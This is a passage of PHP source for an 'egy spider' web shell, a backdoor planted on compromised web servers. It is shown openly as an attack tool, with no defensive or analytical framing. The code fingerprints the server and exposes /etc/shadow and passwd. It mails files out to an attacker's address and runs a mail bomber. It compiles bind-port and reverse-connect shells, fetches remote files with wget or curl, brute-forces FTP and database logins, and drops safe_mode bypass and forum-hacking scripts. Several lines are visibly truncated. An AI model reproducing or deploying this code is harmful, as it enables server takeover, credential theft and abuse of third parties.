$_COOKIE['id']; }
if($safe_mode) { $sysctl = '-'; }
else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
else
{
$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n
kernel.osrelease'); }
if(empty($sysctl)) { $sysctl = '-'; }
setcookie('sysctl',$sysctl);
}
}
if(!isset($_COOKIE[$lang[$language.'_text137']])) {
$ust_u='';
if($unix && !$safe_mode){
foreach ($userful as $item) {
if(which($item)){$ust_u.=$item;}
}
}
if (@function_exists('apache_get_modules') &&
@in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
@in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
$ust_u = trim($ust_u);
setcookie($lang[$language.'_text137'],$ust_u);
}else {
$ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
}
$ust_d='';
foreach ($danger as $item) {
if(which($item)){$ust_d.=$item;}
}
}
if(!$safe_mode){
foreach ($danger as $item) {
if(ps($item)){$ust_d.=$item;}
}
}
@in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
$ust_d = trim($ust_d);
setcookie($lang[$language.'_text138'],$ust_d);
}else {
$ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
}
$select_downloaders='<select size="1" name=with>';

if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') &&
@function_exists('file'))){$select_downloaders .= "<option
value=\"fopen\">fopen</option>";$downloader="fopen";}
foreach ($downloaders as $item) {
if(which($item)){$select_downloaders .= '<option value="'.
$item.'">'.$item.'</option>';$downloader.=", $item";}
}
}
$select_downloaders .= '</select>';
if(substr($downloader,0,1)==",") {$downloader[0]="";}
$downloader=trim($downloader);
setcookie('select_downloaders',$select_downloaders);
setcookie('downloader',$downloader);
}else {
$select_downloaders = $_COOKIE['select_downloaders'];
$downloader = trim($_COOKIE['downloader']);
}
echo $head;
echo '</head>';
echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td

bgcolor=#000000 width=120><font face=Comic Sans MS size=1>'.ws(2).'<DIV dir=ltr
align=center><p><font style="font-weight: 500" face="Webdings" color="#800000"
size="7">!</font></p>'.ws(2).'<DIV dir=ltr align=center><SPAN
style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
<SPAN
style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">egy
spider</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font
face=tahoma size=1>'.
'</center></font>'.$fe.'</td>'.'<td bgcolor=#333333><font face=#FFFFFF size=-2>';

echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font
color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font
color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font
color=green><b>NONE</b></font>]";}
echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font
color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font
color=green><b>NONE</b></font>]";}
echo " Server IP: [<font
color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
echo "<br>";
echo ws(2)."PHP version: <b>".@phpversion()."</b>";

$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font
color=green>OFF</font>"));
echo "</b>".ws(2);
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; }
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font
color=green>OFF</font>";}
echo "</b>".ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font
echo "</b>".ws(2);
echo "MySQLi: <b>";
$mysqli_on = @function_exists('mysqli_connect');
if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font
echo "</b>".ws(2);
echo "MSQL: <b>";
$msql_on = @function_exists('msql_connect');
if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font
echo "</b>".ws(2);
echo "SQLite: <b>";
$sqlite_on = @function_exists('sqlite_open');
if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font
echo "</b><br>".ws(2);
echo "Safe_mode: <b>";

echo (($safe_mode)?("<font color=red>ON</font>"):("<font
color=green>OFF</font>"));
echo "</b>".ws(2);
echo "Open_Basedir: <b>";
if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font
color=red>ini_get disable!</font></b>";}else {echo "<font
color=red>$df</font></b>";};}
else {echo "<font color=green>NONE</font></b>";}
echo ws(2)."Safe_Exec_Dir: <b>";
if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir')))
{echo "<font color=red>NONE</font></b>";}else {echo "<font
color=green>$df</font></b>";};}
else {echo "<font color=red>ini_get disable!</font></b>";}
echo ws(2)."Safe_Gid: <b>";
if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font
color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
echo ws(2)."Safe_Include_Dir: <b>";
if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir')))
{echo "<font color=red>NONE</font></b>";}else {echo "<font
color=green>$df</font></b>";};}
echo ws(2)."Sql.safe_mode: <b>";
if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font
color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
echo "<br>".ws(2);
echo "Disable Functions : <b>";$df='ini_get disable!';
if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions'))))
{echo "<font color=green>NONE</font></b>";}else{echo "<font
color=red>$df</font></b>";}
if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
elseif(@function_exists('disk_free_space')){$free =
@disk_free_space($dir);}else{$free = 'Unknown';}
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."Free Space : <b>".view_size($free)."</b> Total Space:
<b>".view_size($all)."</b>";
if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".

$ust_u."</font>";};
if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".

$ust_d."</font>";};
if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font

color=blue>".$downloader."</font>";};
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?' title=\"".
$lang[$language.'_text46']."\"><b>Home</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?egy' title=\"".
$lang[$language.'_text51']."\"><b>About EgY SpIdEr</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?news' title=\"".
$lang[$language.'_text51']."\"><b>News</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?logout=1' title=\"".
$lang[$language.'_text46']."\"><b>logout</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".
$lang[$language.'_text46']."\"><b>PhpInfo</b></a> ".$rb;
$lang[$language.'_text47']."\"><b>Php.Ini</b></a> ".$rb;
$lang[$language.'_text50']."\"><b>Cpu</b></a> ".$rb;
if(!$unix) {
$lang[$language.'_text50']."\"><b>SystemInfo</b></a> ".$rb;
}else{
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View
syslog.conf\"><b>Syslog</b></a> ".$rb;
resolv\"><b>Resolv</b></a> ".$rb;
hosts\"><b>Hosts</b></a> ".$rb;
shadow\"><b>Shadow</b></a> ".$rb;
$lang[$language.'_text95']."\"><b>Passwd</b></a> ".$rb;
}
$lang[$language.'_text48']."\"><b>Tmp</b></a> ".$rb;
$lang[$language.'_text49']."\"><b>Delete</b></a> ".$rb;
if($unix && !$safe_mode)

{
echo "<br>".ws(2)."</b>";
procinfo\"><b>Procinfo</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc
version\"><b>Version</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem
free\"><b>Free</b></a> ".$rb;
dmesg\"><b>Dmesg</b></a> ".$rb;
vmstat\"><b>Vmstat</b></a> ".$rb;
lspci\"><b>lspci</b></a> ".$rb;
lsdev\"><b>lsdev</b></a> ".$rb;
interrupts\"><b>Interrupts</b></a> ".$rb;
realise1\"><b>Realise1</b></a> ".$rb;
realise2\"><b>Realise2</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr
-va\"><b>lsattr</b></a> ".$rb;
echo "<br>".ws(2)."</b>";
w\"><b>W</b></a> ".$rb;
who\"><b>Who</b></a> ".$rb;
uptime\"><b>Uptime</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n
10\"><b>Last</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps
-aux\"><b>Ps Aux</b></a> ".$rb;
service\"><b>Service</b></a> ".$rb;
ifconfig\"><b>Ifconfig</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat
-a\"><b>Netstat</b></a> ".$rb;
fstab\"><b>Fstab</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk
-l\"><b>Fdisk</b></a> ".$rb;
echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df
-h</b></a> ".$rb;
}
echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>';
echo $font;
if($unix){
echo '<font color=blue><b>uname
-a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>i
d :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):
(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') &&
@function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
{
$euserinfo = @posix_getpwuid(@posix_geteuid());
$egroupinfo = @posix_getgrgid(@posix_getegid());
echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.
$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
}
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()."
gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "</b></font>";
}
else
{
echo '<font
color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1
).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";
echo ws(3).$dir;
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")

{
$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".
$_POST['from']."\r\n");
err(6+$res);
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !
empty($_POST['loc_file']))
{
if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else
{ err(1,$_POST['loc_file']); $_POST['cmd']=""; }
{
$filename = @basename($_POST['loc_file']);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
$attach = array(
"name"=>$filename,
"type"=>$mime_type,
"content"=>$filedump
);
if(empty($_POST['subj'])) { $_POST['subj'] = 'file from egy spider shell'; }
if(empty($_POST['from'])) { $_POST['from'] = 'egy_spider@hotmail.com'; }
$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
err(6+$res);
$_POST['cmd']="";
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !
empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
{
for($h=1;$h<=$_POST['mail_flood'];$h++){
$res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ",
1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
}
err(6+$res);
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs
grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
{
switch($_POST['what'])
{
case 'own':
@chown($_POST['param1'],$_POST['param2']);
break;
case 'grp':
@chgrp($_POST['param1'],$_POST['param2']);
break;
case 'mod':
@chmod($_POST['param1'],intval($_POST['param2'], 8));
break;
}
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
{
switch($_POST['what'])
{
case 'file':
if($_POST['action'] == "create")
{
if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your
text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
else {
$_POST['e_name'] = $_POST['mk_name'];
$_POST['cmd']="edit_file";
echo "<table width=100% cellpadding=0 cellspacing=0
bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana
size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
}
}
else if($_POST['action'] == "delete")
{
if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0
cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font
face=Verdana size=-2><b>".
$lang[$language.'_text63']."</b></font></div></td></tr></table>";
$_POST['cmd']="";
}
break;
case 'dir':
if($_POST['action'] == "create"){
if(@mkdir($_POST['mk_name']))
{
$_POST['cmd']="";
echo "<table width=100% cellpadding=0 cellspacing=0
bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana
size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
}
else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
}
else if($_POST['action'] == "delete"){
if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0
cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font
face=Verdana size=-2><b>".
$_POST['cmd']="";
}
break;
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")

{
if(!$_POST['file_name_r'])
{
$datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".
$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']."
seconds";
$datar = @strtotime($datar);
@touch($_POST['file_name'],$datar,$datar);}
else{
@touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['
file_name_r']));
}
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !

empty($_POST['e_name']))
{
if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!
@is_writable($_POST['e_name'])) { $only_read = 1; }; }
elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; }
elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!
@is_writable($_POST['e_name'])) { $only_read = 1; };}
else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
{
echo $table_up3;
echo $font;
echo "<form name=save_file method=post>";
echo ws(3)."<b>".$_POST['e_name']."</b>";
echo "<div align=center><textarea name=e_text cols=121 rows=24>";
echo @htmlspecialchars($filedump);
echo "</textarea>";
echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>";
echo "<input type=hidden name=dir value='".$dir."'>";
echo "<input type=hidden name=cmd value=save_file>";
echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input
type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
echo "</div>";
echo "</font>";
echo "</form>";
exit();
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
{
$mtime = @filemtime($_POST['e_name']);
if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
else {
if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
morewrite($_POST['e_name'],$_POST['e_text']);
$_POST['cmd']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td
bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".
}
@touch($_POST['e_name'],$mtime,$mtime);
}
if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
{
cf($tempdir.'prxpl',$prx_pl);
$p2=which("perl");
$blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
@unlink($tempdir.'prxpl');
$_POST['cmd']="ps -aux | grep prxpl";
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
cf($tempdir.'bd.c',$port_bind_bd_c);
$blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
@unlink($tempdir.'bd.c');
$blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
@unlink($tempdir.'bd');
$_POST['cmd']="ps -aux | grep bd";
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
cf($tempdir.'bdpl',$port_bind_bd_pl);
$p2=which("perl");
$blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
@unlink($tempdir.'bdpl');
$_POST['cmd']="ps -aux | grep bdpl";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
cf($tempdir.'back',$back_connect);
$p2=which("perl");
$blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".
$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
cf($tempdir.'back.c',$back_connect_c);
$blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
@unlink($tempdir.'back.c');
$blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".
$_POST['port']." ...\"";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !
empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
{
cf($tempdir.'dp',$datapipe_pl);
$p2=which("perl");
$blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.
$_POST['remote_host'].' '.$_POST['remote_port'].' &');
@unlink($tempdir.'dp');
$_POST['cmd']="ps -aux | grep dp";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !
empty($_POST['remote_port']) && ($_POST['use']=="C"))
{
cf($tempdir.'dpc.c',$datapipe_c);
$blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
@unlink($tempdir.'dpc.c');
$blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.
$_POST['remote_host'].' &');
@unlink($tempdir.'dpc');
$_POST['cmd']="ps -aux | grep dpc";
}
if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] =

$aliases[$_POST['alias']]; }
for($upl=0;$upl<=16;$upl++)
{
if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
@move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],
$_POST['dir']."/".$nfn)
or print("<font color=red face=Fixedsys><div align=center>Error uploading file
".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
}
}
if (!empty($_POST['port1']))
{
cf("bds",$port_bind_bd_cs);
$blah = ex("chmod 777 bds");
$blah = ex("./bds ".$_POST['port1']." &");
$_POST['cmd']="echo \"Now script install backdoor connect to port ";
}else{
cf("/tmp/bds",$port_bind_bd_cs);
$blah = ex("chmod 777 bds");
}
if (!empty($_POST['cmd']))
if (!empty($_POST['htacces']))
{
cf(".htaccess",$htacces);
$_POST['cmd']="now add htaccess";
}
if (!empty($_POST['file_ini']))
{
cf("ini.php",$sni_res);
$_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt? add ss ini.php

now make incloude for file ini.php and add ss and your shell ";
}
if (!empty($_POST['egy_ini']))
{
cf("Root directory.php",$egy_res);
$_POST['cmd']=" http://target.com/Root_directory.php";
}
if (!empty($_POST['egy_bypass']))
{
cf("bypass_4.4.7_5.2.3.php",$egy_bypass);
$_POST['cmd']=" http://target.com/bypass_4.4.7_5.2.3.php";
}
if (!empty($_POST['egy_bypass2']))
{
cf("bypass_4.4.2_5.1.2.php",$egy_bypass2);
$_POST['cmd']=" http://target.com/bypass_4.4.2_5.1.2.php?file=/etc/passwd
";
}
if (!empty($_POST['egy_vb']))
{
cf("vb_hacker.php",$egy_vb);
$_POST['cmd']=" http://target.com/vb_hacker.php";
}
if (!empty($_POST['egy_know']))
{
cf("know_conf.php",$egy_know);
$_POST['cmd']=" Now been added files ( bypass.php / bypass2.php / root.php /

php.ini / .htaccess ini.php/ vb_hacker.php/ know_conf.php/ ) ";
}
if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] =

$aliases[$_POST['alias']]; }
for($upl=0;$upl<=16;$upl++)
{
if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
@move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],
$_POST['dir']."/".$nfn)
or print("<font color=red face=Fixedsys><div align=center>Error uploading file
".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
}
}
if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !

empty($_POST['loc_file']))
{
switch($_POST['with'])
{
case 'fopen':
$datafile = @implode("", @file($_POST['rem_file']));
if($datafile)
{
if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
}
$_POST['cmd'] = '';
break;
case 'wget':
$_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".
$_POST['loc_file']."\"";
break;
case 'fetch':
$_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".
break;
case 'lynx':
$_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".
break;
case 'links':
$_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".
break;
case 'GET':
$_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".
break;
case 'curl':
$_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".
break;
}
}
if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") ||
($_POST['cmd']=="ftp_file_down")))
{
list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
if(empty($ftp_port)) { $ftp_port = 21; }
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if(!$connection) { err(3); }
else
{
if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password']))
{ err(4); }
else
{
if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir)
{ $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); }
@ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],
$_POST['loc_file'],$_POST['mode']);}
}
}
@ftp_close($connection);
$_POST['cmd'] = "";
}
if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") ||

($_POST['cmd']=="db_brute")))
{
if($_POST['cmd']=="ftp_brute"){
list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
if(empty($ftp_port)) { $ftp_port = 21; }
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
}else if($_POST['cmd']=="db_brute"){
$connection = 1;
}
if(!$connection) { err(3); $_POST['cmd'] = ""; }
else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd')))
{ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td
bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".
$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] =
""; }
else if(($_POST['brute_method']=='dic') && (!
$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0
cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana
size=-2><div align=center><b>Can\'t get password
list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
}
echo $table_up3;
if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls
-lia"); }
else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].": <b>".
$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea
name=report cols=121 rows=15>";
{
switch($_POST['cmd'])
{
case 'safe_dir':
if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob'])

&& !isset($_POST['realpath']))
{
foreach ($d as $file)
{
if ($file=="." || $file=="..") continue;
@clearstatcache();
@list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime,
$mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.Y H:i",$mtime);
if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
}
else{
if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
}else{$owner['name']=$grgid['name']='';}
echo $inode." ";
echo perms(@fileperms($file));
@printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo @date("d.m.Y H:i ",$mtime);
}
echo "$file\n";
}
}
elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob'])

&& !isset($_POST['realpath']))
{
while (false!==($file=$d->read()))
{
@clearstatcache();
if(!$unix){
}
else{
echo $inode." ";
}
echo "$file\n";
}
$d->close();
}
elseif (@function_exists('opendir') && @function_exists('readdir') &&

($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
{
while (false!==($file=@readdir($d)))
{
@clearstatcache();
if(!$unix){
}
else{
echo $inode." ";
}
echo "$file\n";
}
@closedir($d);
}
elseif(@function_exists('glob') && (isset($_POST['glob']) || !

isset($_POST['realpath'])))
{
echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
function eh($errno, $errstr, $errfile, $errline)
{
global $D, $c, $i;
preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\
is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
if($o){ $D[$c] = $o[2]; $c++;}
}
$error_reporting = @ini_get('error_reporting');
error_reporting(E_WARNING);
@ini_set("display_errors", 1);
@ini_alter("display_errors", 1);
$root = "/";
if($dir) $root = $dir;
$c = 0; $D = array();
@set_error_handler("eh");
$chars =
"_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($i=0; $i < strlen($chars); $i++)
{
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
$prevD = $D[count($D)-1];
@glob($path."*");
if($D[count($D)-1] != $prevD)
{
for($j=0; $j < strlen($chars); $j++)
{
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}
{$chars[$j]}";
$prevD2 = $D[count($D)-1];
@glob($path."*");
if($D[count($D)-1] != $prevD2)
{
for($p=0; $p < strlen($chars); $p++)
{
